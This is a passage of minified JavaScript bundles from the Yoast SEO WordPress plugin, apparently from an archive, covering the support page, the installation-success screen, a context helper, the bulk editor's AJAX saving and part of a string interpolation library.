(0,c.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")].map(((t,s)=>(0,e.createElement)("li",{key:`upsell-benefit-${s}`},(0,l.createInterpolateElement)(t,{strong:(0,e.createElement)("span",{className:"yst-font-semibold"})}))))),(0,e.createElement)(o.Button,{as:"a",variant:"upsell",size:"extra-large",href:t,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...s},a?(0,c.__)("Claim your 30% off now!","wordpress-seo"):(0,c.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,c.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,e.createElement)(O,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};Ne.propTypes={premiumLink:I().string.isRequired,premiumUpsellConfig:I().object,isPromotionActive:I().func},Ne.defaultProps={premiumUpsellConfig:{},isPromotionActive:i.noop};const Se=({premiumLink:t,premiumUpsellConfig:s,academyLink:r,isPromotionActive:a})=>(0,e.createElement)("div",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 min-[783px]:yst-grid-cols-1 lg:yst-grid-cols-2 xl:yst-grid-cols-1 yst-gap-4"},(0,e.createElement)(ke,{link:t,linkProps:s,isPromotionActive:a}),(0,e.createElement)(T,{link:r}));Se.propTypes={premiumLink:I().string.isRequired,premiumUpsellConfig:I().object.isRequired,academyLink:I().string.isRequired,isPromotionActive:I().func.isRequired},e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),I().bool.isRequired,I().func,I().func,I().string.isRequired,I().string.isRequired,I().string.isRequired,I().string.isRequired;const Pe=window.yoast.reactHelmet,Re=({videoId:t,thumbnail:s,wistiaEmbedPermission:r})=>{const[a,n]=(0,l.useState)(r.value?R:S),i=(0,l.useCallback)((()=>n(R)),[n]),m=(0,l.useCallback)((()=>{r.value?i():n(P)}),[r.value,i,n]),d=(0,l.useCallback)((()=>n(S)),[n]),p=(0,l.useCallback)((()=>{r.set(!0),i()}),[r.set,i]);return(0,e.createElement)(e.Fragment,null,r.value&&(0,e.createElement)(Pe.Helmet,null,(0,e.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,e.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},a===S&&(0,e.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:m},(0,e.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...s})),a===P&&(0,e.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,e.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},r.status===N&&(0,e.createElement)(o.Spinner,null),r.status!==N&&(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,c.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,e.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,e.createElement)(o.Button,{type:"button",variant:"secondary",onClick:d,disabled:r.status===N},(0,c.__)("Deny","wordpress-seo")),(0,e.createElement)(o.Button,{type:"button",variant:"primary",onClick:p,disabled:r.status===N},(0,c.__)("Allow","wordpress-seo")))),r.value&&a===R&&(0,e.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===t&&(0,e.createElement)(o.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==t&&(0,e.createElement)("div",{className:`wistia_embed wistia_async_${t} videoFoam=true`}))))};Re.propTypes={videoId:I().string.isRequired,thumbnail:I().shape({src:I().string.isRequired,width:I().string,height:I().string}).isRequired,wistiaEmbedPermission:I().shape({value:I().bool.isRequired,status:I().string.isRequired,set:I().func.isRequired}).isRequired};const Le="@yoast/support",qe=(e,t=[],...s)=>(0,r.useSelect)((t=>{var r,a;return null===(r=(a=t(Le))[e])||void 0===r?void 0:r.call(a,...s)}),t),Oe=({id:t,children:s,title:r,description:a=null})=>{const n=qe("selectPreference",[],"isPremium");return(0,e.createElement)(W,{id:t,title:r,description:a,variant:n?"lg":"xl"},s)};Oe.propTypes={id:I().string,children:I().node.isRequired,title:I().node.isRequired,description:I().node};const $e=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M10.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L12.586 11H5a1 1 0 110-2h7.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),Ce=({imageSrc:t,title:s,description:r,linkHref:a,linkText:n})=>(0,e.createElement)(o.Card,null,(0,e.createElement)(o.Card.Header,{className:"yst-h-auto yst-p-0"},(0,e.createElement)("img",{className:"yst-w-full yst-transition yst-duration-200",src:t,alt:"",width:500,height:250,loading:"lazy",decoding:"async"})),(0,e.createElement)(o.Card.Content,{className:"yst-flex yst-flex-col yst-gap-3"},(0,e.createElement)(o.Title,{as:"h3"},s),r),(0,e.createElement)(o.Link,{href:a,className:"yst-flex yst-items-center yst-mt-[18px] yst-no-underline yst-font-medium yst-text-primary-500",target:"_blank"},n,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,c.__)("(Opens in a new browser tab)","wordpress-seo")),(0,e.createElement)($e,{className:"yst-h-4 yst-w-4 yst-ml-1 yst-icon-rtl"})));Ce.propTypes={imageSrc:I().string.isRequired,title:I().string.isRequired,description:I().string.isRequired,linkHref:I().string.isRequired,linkText:I().string.isRequired};const Ae=()=>{document.querySelector("#beacon-container .BeaconFabButtonFrame iframe")?window.Beacon("open"):document.querySelector("#yoast-helpscout-beacon button").click()},Ie=()=>{const t=qe("selectPreference",[],"isPremium",!1),s=qe("selectUpsellSettingsAsProps"),a=qe("selectPreference",[],"pluginUrl",""),n=qe("selectLinkParams"),i=qe("selectLink",[],"https://yoa.st/3t6"),m=qe("selectLink",[],"https://yoa.st/jj"),d=qe("selectLink",[],"https://yoa.st/help-center-support-card"),p=qe("selectLink",[],"https://yoa.st/support-forums-support-card"),u=qe("selectLink",[],"https://yoa.st/github-repository-support-card"),g=qe("selectLink",[],"https://yoa.st/contact-support-to-unlock-premium-support-section"),{isPromotionActive:w}=(0,r.useSelect)(Le),f=(0,l.useMemo)((()=>[{title:(0,e.createElement)("span",null,"How do I set up ",(0,e.createElement)("strong",null,"canonical URLs"),"?"),link:(0,y.addQueryArgs)("https://yoa.st/canonical-urls-support-faq",n)},{title:(0,e.createElement)("span",null,"How do I use ",(0,e.createElement)("strong",null,"XML sitemaps"),"?"),link:(0,y.addQueryArgs)("https://yoa.st/xml-sitemaps-support-faq",n)},{title:(0,e.createElement)("span",null,"How do I implement ",(0,e.createElement)("strong",null,"breadcrumbs"),"?"),link:(0,y.addQueryArgs)("https://yoa.st/implement-breadcrumbs-support-faq",n)},{title:(0,e.createElement)("span",null,"How do I ",(0,e.createElement)("strong",null,"submit my sitemap")," to search engines?"),link:(0,y.addQueryArgs)("https://yoa.st/submit-sitemap-support-faq",n)},{title:(0,e.createElement)("span",null,"How do I edit my ",(0,e.createElement)("strong",null,"robots.txt file"),"?"),link:(0,y.addQueryArgs)("https://yoa.st/edit-robots-txt-support-faq",n)},{title:(0,e.createElement)("span",null,"What are the ",(0,e.createElement)("strong",null,"meta robots advanced settings"),"?"),link:(0,y.addQueryArgs)("https://yoa.st/meta-robots-settings-support-faq",n)},{title:(0,e.createElement)("span",null,"Where can I find a ",(0,e.createElement)("strong",null,"glossary")," of SEO terms?"),link:(0,y.addQueryArgs)("https://yoa.st/seo-terms-vocabulary-support-faq",n)},{title:(0,e.createElement)("span",null,"What are ",(0,e.createElement)("strong",null,"transition words"),"?"),link:(0,y.addQueryArgs)("https://yoa.st/transition-words-support-faq",n)}]),[]);return(0,e.createElement)("div",{className:"yst-p-4 min-[783px]:yst-p-8"},(0,e.createElement)("div",{className:C()("yst-flex yst-flex-grow yst-flex-wrap",!t&&"xl:yst-pr-[17.5rem]")},(0,e.createElement)(o.Paper,{as:"main",className:"yst-flex-grow yst-mb-8 xl:yst-mb-0"},(0,e.createElement)(o.Paper.Header,null,(0,e.createElement)("div",{className:"yst-max-w-screen-sm"},(0,e.createElement)(o.Title,null,(0,c.__)("Support","wordpress-seo")),(0,e.createElement)("p",{className:"yst-text-tiny yst-mt-3"},(0,c.__)("If you have any questions, need a hand with a technical issue, or just want to say hi, we've got you covered. Get in touch with us and we'll be happy to assist you!","wordpress-seo")))),(0,e.createElement)(o.Paper.Content,null,(0,e.createElement)("div",{className:"yst-max-w-6xl"},(0,e.createElement)(Oe,{title:(0,c.__)("Frequently asked questions","wordpress-seo"),description:(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO. */
(0,c.__)("Here, you'll find answers to commonly asked questions about using %1$s. If you don't see your question listed, you can have a look at the section below.","wordpress-seo"),"Yoast SEO")},(0,e.createElement)("ul",null,f.map((({title:t,link:s},r)=>(0,e.createElement)(l.Fragment,{key:`faq-${r}`},r>0&&(0,e.createElement)("hr",{className:"yst-my-3"}),(0,e.createElement)("li",null,(0,e.createElement)(o.Link,{href:s,className:"yst-flex yst-items-center yst-font-medium yst-no-underline",target:"_blank"},t,(0,e.createElement)(O,{className:"yst-inline-block yst-ml-1.5 yst-h-3 yst-w-3 yst-icon-rtl"})))))))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(Oe,{title:(0,c.__)("Additional resources","wordpress-seo"),description:(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO. */
(0,c.__)("Need help with %1$s? These resources are a great place to start!","wordpress-seo"),"Yoast SEO")},(0,e.createElement)("div",{className:"yst-grid yst-gap-6 yst-grid-cols-3 max-sm:yst-grid-cols-1"},(0,e.createElement)(Ce,{imageSrc:`${a}/images/support/help_center.png`,title:(0,c.sprintf)(/* translators: %1$s expands to Yoast. */
(0,c.__)("%1$s's help center","wordpress-seo"),"Yoast"),description:(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO. */
(0,c.__)("Have a look at our help center to find articles, tutorials, and other resources to help you get the most out of %1$s!","wordpress-seo"),"Yoast SEO"),linkHref:d,linkText:(0,c.__)("Visit our help center","wordpress-seo")}),(0,e.createElement)(Ce,{imageSrc:`${a}/images/support/support_forums.png`,title:(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO. */
(0,c.__)("WordPress support forum for %1$s","wordpress-seo"),"Yoast SEO"),description:(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO. */
(0,c.__)("In the WordPress support forum for %1$s you can find answers or ask for help from %1$s users in the WordPress community.","wordpress-seo"),"Yoast SEO"),linkHref:p,linkText:(0,c.__)("Visit WordPress forum","wordpress-seo")}),(0,e.createElement)(Ce,{imageSrc:`${a}/images/support/github.png`,title:(0,c.__)("Raise a bug report on GitHub","wordpress-seo"),description:(0,c.sprintf)(/* translators: %1$s expands to Yoast SEO. */
(0,c.__)("Have you stumbled upon a bug while using %1$s? Please raise a bug report on our GitHub repository to let us know about the issue!","wordpress-seo"),"Yoast SEO"),linkHref:u,linkText:(0,c.__)("Write a bug report","wordpress-seo")}))),(0,e.createElement)("hr",{className:"yst-my-8"}),(0,e.createElement)(Oe,{title:(0,e.createElement)("div",{className:"yst-flex yst-items-center yst-gap-1.5"},(0,e.createElement)("span",null,(0,c.__)("Contact our support team","wordpress-seo")),t&&(0,e.createElement)(o.Badge,{variant:"upsell"},"Premium")),description:(0,e.createElement)(l.Fragment,null,(0,e.createElement)("span",null,(0,c.__)("If you don't find the answers you're looking for and need personalized help, you can get 24/7 support from one of our support engineers.","wordpress-seo")),(0,e.createElement)("span",{className:"yst-block yst-mt-4"},(0,l.createInterpolateElement)((0,c.sprintf)(/* translators: %1$s expands to an opening span tag, %2$s expands to a closing span tag. */
(0,c.__)("%1$sSupport language:%2$s English","wordpress-seo"),"<span>","</span>"),{span:(0,e.createElement)("span",{className:"yst-font-medium yst-text-slate-800"})})))},(0,e.createElement)(o.FeatureUpsell,{shouldUpsell:!t,variant:"card",cardLink:g,cardText:(0,c.sprintf)(/* translators: %1$s expands to Premium. */
(0,c.__)("Unlock with %1$s","wordpress-seo"),"Premium"),...s},(0,e.createElement)("div",{className:C()("yst-flex",!t&&"yst-opacity-50")},(0,e.createElement)("div",{className:"yst-mr-6"},(0,e.createElement)("p",null,(0,c.__)("Our support team is here to answer any questions you may have. Fill out the (pop-up) contact form, and we'll get back to you as soon as possible!","wordpress-seo")),(0,e.createElement)(o.Button,{variant:"secondary",className:"yst-mt-4",onClick:Ae},(0,c.__)("Contact our support team","wordpress-seo"),(0,e.createElement)(O,{className:"yst-inline-block yst-ml-1.5 yst-h-3 yst-w-3 yst-icon-rtl"}))),(0,e.createElement)("img",{src:`${a}/images/support-team.svg`,alt:"",width:125,height:100,loading:"lazy",decoding:"async"}))))))),!t&&(0,e.createElement)("div",{className:"xl:yst-max-w-3xl xl:yst-fixed xl:yst-right-8 xl:yst-w-[16rem]"},(0,e.createElement)(Se,{premiumLink:m,premiumUpsellConfig:s,academyLink:i,isPromotionActive:w}))))},Te="preferences",Be=(0,m.createSlice)({name:Te,initialState:{},reducers:{}}),je=Be.getInitialState,Ue={selectPreference:(e,t,s={})=>(0,i.get)(e,`${Te}.${t}`,s),selectPreferences:e=>(0,i.get)(e,Te,{})};Ue.selectUpsellSettingsAsProps=(0,m.createSelector)([e=>Ue.selectPreference(e,"upsellSettings",{}),(e,t="premiumCtbId")=>t],((e,t)=>({"data-action":null==e?void 0:e.actionId,"data-ctb-id":null==e?void 0:e[t]})));const ze=Be.actions,Fe=Be.reducer,He=window.yoast.externals.redux,{isPromotionActive:Me}=He.selectors,{currentPromotions:Ye}=He.reducers,{setCurrentPromotions:We}=He.actions;n()((()=>{const s=document.getElementById("yoast-seo-support");if(!s)return;(({initialState:e={}}={})=>{(0,r.register)((({initialState:e})=>(0,r.createReduxStore)(Le,{actions:{...E,...ze,setCurrentPromotions:We},selectors:{...h,...Ue,isPromotionActive:Me},initialState:(0,i.merge)({},{[g]:f(),[Te]:je(),currentPromotions:{promotions:[]}},e),reducer:(0,r.combineReducers)({[g]:v,[Te]:Fe,currentPromotions:Ye})}))({initialState:e}))})({initialState:{[g]:(0,i.get)(window,"wpseoScriptData.linkParams",{}),[Te]:(0,i.get)(window,"wpseoScriptData.preferences",{}),currentPromotions:{promotions:(0,i.get)(window,"wpseoScriptData.currentPromotions",[])}}}),(()=>{const e=document.getElementById("wpcontent"),t=document.getElementById("adminmenuwrap");e&&t&&(e.style.minHeight=`${t.offsetHeight}px`)})();const a=(0,r.select)(Le).selectPreference("isRtl",!1);(0,l.render)((0,e.createElement)(o.Root,{context:{isRtl:a}},(0,e.createElement)(t.SlotFillProvider,null,(0,e.createElement)(Ie,null))),s)}))})()})();wordpress-seo/js/dist/installation-success.js000064400000012261147510273070015454 0ustar00(()=>{"use strict";var t={n:e=>{var s=e&&e.__esModule?()=>e.default:()=>e;return t.d(s,{a:s}),s},d:(e,s)=>{for(var n in s)t.o(s,n)&&!t.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:s[n]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const e=window.React,s=window.wp.domReady;var n=t.n(s);const r=window.wp.i18n,a=window.wp.element,l=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z",clipRule:"evenodd"}))})),o=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M14 5l7 7m0 0l-7 7m7-7H3"}))}));function i(){return(0,e.createElement)("div",{className:"yst-root yst-my-auto yst-flex yst-flex-col yst-h-[90vh] yst-justify-center"},(0,e.createElement)("h1",{className:"yst-text-4xl yst-text-gray-900 yst-w-[350px] yst-font-extrabold yst-leading-10 yst-mx-auto yst-mt-6 yst-mb-16 yst-text-center yst-tracking-tight"},(0,a.createInterpolateElement)((0,r.sprintf)(/* translators: %s expands to Yoast SEO. */
(0,r.__)("You've successfully installed %s!","wordpress-seo"),"<span>Yoast SEO</span>"),{span:(0,e.createElement)("span",{className:"yst-text-primary-500"})})),(0,e.createElement)("div",{className:"installation-success-content"},(0,e.createElement)("div",{className:"yst-flex yst-flex-col md:yst-flex-row yst-justify-center yst-items-center yst-gap-8"},(0,e.createElement)("div",{id:"installation-success-card-optimized-site",className:"yst-shrink-0 yst-bg-white yst-rounded-lg yst-p-6 yst-flex yst-flex-col yst-max-w-sm yst-shadow-md yst-h-4/5 yst-leading-6"},(0,e.createElement)("h2",{className:"yst-tracking-tight yst-text-gray-900 yst-text-2xl yst-leading-8 yst-font-extrabold"},(0,r.__)("Your site is now easier for search engines to find.","wordpress-seo")),(0,e.createElement)("p",{className:"yst-text-gray-500 yst-text-base yst-my-4"},(0,r.sprintf)(/* translators: %s expands to Yoast SEO. */
(0,r.__)("%s rolls out the red carpet for the search bots, which helps your site perform better in search engines.","wordpress-seo"),"Yoast SEO")),(0,e.createElement)("div",{className:"card-button-section"}),(0,e.createElement)("div",{className:"yst-bg-green-100 yst-w-20 yst-h-20 yst-rounded-full yst-mx-auto yst-my-2 yst-flex yst-items-center yst-justify-center"},(0,e.createElement)(l,{className:"yst-w-8 yst-text-green-600"}))),(0,e.createElement)("div",null,(0,e.createElement)(o,{className:"yst-w-8 yst-text-gray-500"})),(0,e.createElement)("div",{id:"installation-success-card-configuration",className:"yst-shrink-0 yst-shadow-xl yst-bg-primary-500 yst-rounded-lg yst-p-6 yst-flex yst-flex-col yst-max-w-sm yst-h-4/5 yst-leading-6"},(0,e.createElement)("h2",{className:" yst-text-white yst-text-2xl yst-leading-8 yst-font-extrabold"},(0,r.sprintf)(/* translators: %s expands to Yoast SEO. */
(0,r.__)("For the best ranking results: configure %s!","wordpress-seo"),"Yoast SEO")),(0,e.createElement)("p",{className:"yst-font-medium yst-text-white yst-text-base yst-my-4"},(0,r.sprintf)(/* translators: %s expands to Yoast SEO. */
(0,r.__)("Set the essential %s settings for your site in a few steps.","wordpress-seo"),"Yoast SEO")),(0,e.createElement)("img",{className:"yst-my-6 yst-mx-auto yst-w-[150px] yst-h-[120px]",src:window.wpseoInstallationSuccess.pluginUrl+"/images/indexables_3_left_bubble_optm.svg",alt:""}),(0,e.createElement)("div",{className:"yst-flex yst-grow-1 yst-mt-auto"},(0,e.createElement)("a",{id:"installation-successful-configuration-link",href:window.wpseoInstallationSuccess.firstTimeConfigurationUrl,className:"yst-inline-flex yst-items-center yst-w-full yst-justify-center yst-no-underline yst-px-6 yst-py-3 yst-border yst-border-transparent yst-text-base yst-font-medium yst-rounded-md yst-shadow-none yst-text-primary-500 yst-bg-white hover:yst-bg-gray-50 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-offset-2 focus:yst-ring-white yst-ring-offset-2 yst-ring-offset-primary-500","data-hiive-event-name":"clicked_start_first_time_configuration"},(0,r.__)("Start first-time configuration!","wordpress-seo"),(0,e.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",className:"yst-ml-3 yst-mr-1 yst-h-5 yst-w-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor"},(0,e.createElement)("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:"2",d:"M14 5l7 7m0 0l-7 7m7-7H3"}))))),(0,e.createElement)("a",{id:"installation-success-skip-link",className:"yst-bottom-12 yst-right-0 yst-mr-5 yst-self-end yst-text-base md:yst-absolute",href:window.wpseoInstallationSuccess.dashboardUrl,"data-hiive-event-name":"clicked_skip_button | installation successful screen"},/* translators: %s expands to ' »'. */
(0,r.sprintf)((0,r.__)("Skip%s","wordpress-seo")," »")))))}n()((()=>{const t=document.getElementById("wpseo-installation-successful-free");t&&(0,a.createRoot)(t).render((0,e.createElement)(i,null))}))})();wordpress-seo/js/dist/externals-contexts.js000064400000001456147510273070015163 0ustar00(()=>{"use strict";var e={n:o=>{var t=o&&o.__esModule?()=>o.default:()=>o;return e.d(t,{a:t}),t},d:(o,t)=>{for(var n in t)e.o(t,n)&&!e.o(o,n)&&Object.defineProperty(o,n,{enumerable:!0,get:t[n]})},o:(e,o)=>Object.prototype.hasOwnProperty.call(e,o)};const o=window.wp.element,t=(0,o.createContext)("location"),n=t.Provider,r=t.Consumer,a=window.React,s=window.yoast.propTypes;var i=e.n(s);const c={},d=(0,o.createContext)(c),w=({children:e,context:o={}})=>(0,a.createElement)(d.Provider,{value:{...c,...o}},e);w.propTypes={children:i().node.isRequired,context:i().object};const l=w;window.yoast=window.yoast||{},window.yoast.externals=window.yoast.externals||{},window.yoast.externals.contexts={LocationContext:t,LocationProvider:n,LocationConsumer:r,RootContext:d,Root:l,useRootContext:()=>(0,o.useContext)(d)}})();wordpress-seo/js/dist/bulk-editor.js000064400000005003147510273070013522 0ustar00(()=>{"use strict";var e={n:n=>{var s=n&&n.__esModule?()=>n.default:()=>n;return e.d(s,{a:s}),s},d:(n,s)=>{for(var t in s)e.o(s,t)&&!e.o(n,t)&&Object.defineProperty(n,t,{enumerable:!0,get:s[t]})},o:(e,n)=>Object.prototype.hasOwnProperty.call(e,n)};const n=window.jQuery;var s,t=e.n(n);s=function(e){var n=e.find("[class^=wpseo-new]").first().attr("class"),s="#"+n+"-",i=s.replace("new","existing"),a=e.find("th[id^=col_existing_yoast]").first().text().replace("Existing ",""),o=n.replace("-new-","_save_"),l="wpseo_save_all_"+e.attr("class").split("wpseo_bulk_")[1],r=o.replace("wpseo_save_",""),c={newClass:"."+n,newId:s,existingId:i},d={submit_new:function(e){d.submitNew(e)},submitNew:function(e){var n,s=c.newId+e,i=c.existingId+e;n="select-one"===t()(c.newId+e).prop("type")?t()(s).find(":selected").text():t()(s).val();var l=t()(i).html();if(n===l)t()(s).val("");else{if(""===n&&!window.confirm("Are you sure you want to remove the existing "+a+"?"))return void t()(s).val("");var r={action:o,_ajax_nonce:wpseoBulkEditorNonce,wpseo_post_id:e,new_value:n,existing_value:l};t().post(ajaxurl,r,d.handleResponse)}},submit_all:function(e){d.submitAll(e)},submitAll:function(e){e.preventDefault();var n={action:l,_ajax_nonce:wpseoBulkEditorNonce,send:!1,items:{},existingItems:{}};t()(c.newClass).each((function(){var e=t()(this).data("id"),s=t()(this).val(),i=t()(c.existingId+e).html();""!==s&&(s===i?t()(c.newId+e).val(""):(n.send=!0,n.items[e]=s,n.existingItems[e]=i))})),n.send&&t().post(ajaxurl,n,d.handleResponses)},handle_response:function(e,n){d.handleResponse(e,n)},handleResponse:function(e,n){if("success"===n){var s=e;if("string"==typeof s&&(s=JSON.parse(s)),s instanceof Array)t().each(s,(function(){d.handleResponse(this,n)}));else if("success"===s.status){var i=s["new_"+r];t()(c.existingId+s.post_id).text(i.replace(/\\(?!\\)/g,"")),t()(c.newId+s.post_id).val("")}}},handle_responses:function(e,n){d.handleResponses(e,n)},handleResponses:function(e,n){var s=t().parseJSON(e);t().each(s,(function(){d.handleResponse(this,n)}))},set_events:function(){d.setEvents()},setEvents:function(){e.find(".wpseo-save").click((function(e){var n=t()(this).data("id");e.preventDefault(),d.submitNew(n,this)})),e.find(".wpseo-save-all").click(d.submitAll),e.find(c.newClass).keydown((function(e){if(13===e.which){e.preventDefault();var n=t()(this).data("id");d.submitNew(n,this)}}))}};return d},window.bulk_editor=s,window.bulkEditor=s,t()(document).ready((function(){t()('table[class*="wpseo_bulk"]').each((function(e,n){var i=t()(n);s(i).setEvents()}))}))})();wordpress-seo/js/dist/elementor.js000064400000720366147510273070013313 0ustar00(()=>{var e={6746:(e,t,s)=>{"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n=i(s(9196)),a=i(s(9156)),o=i(s(6743));function i(e){return e&&e.__esModule?e:{default:e}}var l=void 0;function c(e,t){var s,o,i,d,p,u,m,h,g=[],y={};for(u=0;u<e.length;u++)if("string"!==(p=e[u]).type){if(!t.hasOwnProperty(p.value)||void 0===t[p.value])throw new Error("Invalid interpolation, missing component node: `"+p.value+"`");if("object"!==r(t[p.value]))throw new Error("Invalid interpolation, component node must be a ReactElement or null: `"+p.value+"`","\n> "+l);if("componentClose"===p.type)throw new Error("Missing opening component token: `"+p.value+"`");if("componentOpen"===p.type){s=t[p.value],i=u;break}g.push(t[p.value])}else g.push(p.value);return s&&(d=function(e,t){var s,r,n=t[e],a=0;for(r=e+1;r<t.length;r++)if((s=t[r]).value===n.value){if("componentOpen"===s.type){a++;continue}if("componentClose"===s.type){if(0===a)return r;a--}}throw new Error("Missing closing component token `"+n.value+"`")}(i,e),m=c(e.slice(i+1,d),t),o=n.default.cloneElement(s,{},m),g.push(o),d<e.length-1&&(h=c(e.slice(d+1),t),g=g.concat(h))),1===g.length?g[0]:(g.forEach((function(e,t){e&&(y["interpolation-child-"+t]=e)})),(0,a.default)(y))}t.Z=function(e){var t=e.mixedString,s=e.components,n=e.throwErrors;if(l=t,!s)return t;if("object"!==(void 0===s?"undefined":r(s))){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because components is not an object");return t}var a=(0,o.default)(t);try{return c(a,s)}catch(e){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because of error `"+e.message+"`");return t}}},6743:e=>{"use strict";function t(e){return e.match(/^\{\{\//)?{type:"componentClose",value:e.replace(/\W/g,"")}:e.match(/\/\}\}$/)?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.match(/^\{\{/)?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}e.exports=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(t)}},9156:(e,t,s)=>{"use strict";var r=s(9196),n="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,a=s(7942),o=s(9179),i=s(397),l=".",c=":",d="function"==typeof Symbol&&Symbol.iterator,p="@@iterator";function u(e,t){return e&&"object"==typeof e&&null!=e.key?(s=e.key,r={"=":"=0",":":"=2"},"$"+(""+s).replace(/[=:]/g,(function(e){return r[e]}))):t.toString(36);var s,r}function m(e,t,s,r){var a,i=typeof e;if("undefined"!==i&&"boolean"!==i||(e=null),null===e||"string"===i||"number"===i||"object"===i&&e.$$typeof===n)return s(r,e,""===t?l+u(e,0):t),1;var h=0,g=""===t?l:t+c;if(Array.isArray(e))for(var y=0;y<e.length;y++)h+=m(a=e[y],g+u(a,y),s,r);else{var f=function(e){var t=e&&(d&&e[d]||e[p]);if("function"==typeof t)return t}(e);if(f)for(var w,b=f.call(e),E=0;!(w=b.next()).done;)h+=m(a=w.value,g+u(a,E++),s,r);else if("object"===i){var _=""+e;o(!1,"Objects are not valid as a React child (found: %s).%s","[object Object]"===_?"object with keys {"+Object.keys(e).join(", ")+"}":_,"")}}return h}var h=/\/+/g;function g(e){return(""+e).replace(h,"$&/")}var y,f,w=b,b=function(e){var t=this;if(t.instancePool.length){var s=t.instancePool.pop();return t.call(s,e),s}return new t(e)};function E(e,t,s,r){this.result=e,this.keyPrefix=t,this.func=s,this.context=r,this.count=0}function _(e,t,s){var n,o,i=e.result,l=e.keyPrefix,c=e.func,d=e.context,p=c.call(d,t,e.count++);Array.isArray(p)?v(p,i,s,a.thatReturnsArgument):null!=p&&(r.isValidElement(p)&&(n=p,o=l+(!p.key||t&&t.key===p.key?"":g(p.key)+"/")+s,p=r.cloneElement(n,{key:o},void 0!==n.props?n.props.children:void 0)),i.push(p))}function v(e,t,s,r,n){var a="";null!=s&&(a=g(s)+"/");var o=E.getPooled(t,a,r,n);!function(e,t,s){null==e||m(e,"",t,s)}(e,_,o),E.release(o)}E.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},y=function(e,t,s,r){var n=this;if(n.instancePool.length){var a=n.instancePool.pop();return n.call(a,e,t,s,r),a}return new n(e,t,s,r)},(f=E).instancePool=[],f.getPooled=y||w,f.poolSize||(f.poolSize=10),f.release=function(e){var t=this;o(e instanceof t,"Trying to release an instance into a pool of a different type."),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},e.exports=function(e){if("object"!=typeof e||!e||Array.isArray(e))return i(!1,"React.addons.createFragment only accepts a single object. Got: %s",e),e;if(r.isValidElement(e))return i(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."),e;o(1!==e.nodeType,"React.addons.createFragment(...): Encountered an invalid child; DOM elements are not valid children of React components.");var 